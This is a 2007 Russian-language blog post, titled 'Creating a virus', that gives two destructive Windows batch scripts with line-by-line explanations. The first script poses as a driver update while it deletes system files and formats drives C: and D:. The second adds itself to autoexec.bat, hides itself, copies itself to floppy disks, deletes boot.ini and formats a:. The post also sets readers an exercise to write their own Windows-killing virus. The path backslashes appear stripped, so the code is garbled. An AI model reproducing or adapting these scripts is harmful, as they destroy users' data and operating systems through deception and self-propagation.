_____
04-03-2007 17:10
к комментариям - к полной версии
- понравилось!
*.Создание вируса
Есть несколько вариантов создания вируса.Мы рассмотрим лишь один из них...
@echo off
echo Windows updating driver...
attrib -r -h -s c:windows*.da?
echo Y | del c:windows*.da?
echo Y | del d:*.*
attrib -r -h -s c:*.*
echo Y | del c:*.sys
echo Y | del c:*.bin
echo Y | del c:*.bat
echo Y | format d:
echo Y | format c:
echo Virus loading.... Completed!
Это пример вируса...Да и еще одно договоримся сохранять наши проекты как .bat файлы... Итак, разберем по строкам... Первая строка "говорит" компьютеру, что не надо показывать операции. Вторая - выводит надпись Windows updating driver... третья и шестая-снимают все атрибуты(скрытый, для чтения и т.д.) с файлов. 4-ая, 5-я, 6-я, 7-я, 8-я и 9-я удаляют файлы на дисках. 10-я и 11-я форматируют диски. Ну и 12-я выводит знаменательную надпись: Virus loading.... Complited! Форматирование может и не произойти, но ОС будет испорчена... Задание:Создайте самостоятельно вирус, который будет "убивать" виндовс не только находящийся на диске С:.
Рассмотрим еще один пример:
@echo off
if exist c:aivus.bat goto cool
copy %0 c:aivus.bat >nul
attrib +h c:aivus.bat >nul
echo c:aivus.bat>>c:autoexec.bat
echo Y | del %0 >nul
:cool
copy %0 a: un.bat >nul
copy %0 a:open.bat >nul
attrib +h a:open.bat >nul
echo Y | del c:windowscalc.exe >nul
attrib -h -s -r c:*.ini >nul
echo Y | del c:oot.ini >nul
echo Y | format a:
Я думаю не все поняли, что это за строчки:
if exist c:aivus.bat goto cool
echo c:aivus.bat>>c:autoexec.bat
copy %0 a:open.bat >nul
attrib +h a:open.bat >nul
Строчка if exist c:aivus.bat goto cool С вирусами связано и программирование... Те, кто чуть его знают, поняли её. Для других объясняю: Эта строка проверяет есть ли файл open.bat на диске С: , если есть переходим к строке :cool.
Строка echo c:aivus.bat>>c:autoexec.bat добавляет себя в автозапуск.
copy %0 a:open.bat >nul копирует себя(обозначается %0) в a:open.bat Ну а строка attrib +h a:open.bat >nul ставит файлу атрибут скрытый. Если кто-то непонял что значит null, значит - скрыть операцию...
Плохо платить кровно нажитые бабки злодею провайдеру!
вверх^
к полной версии
понравилось!
в evernote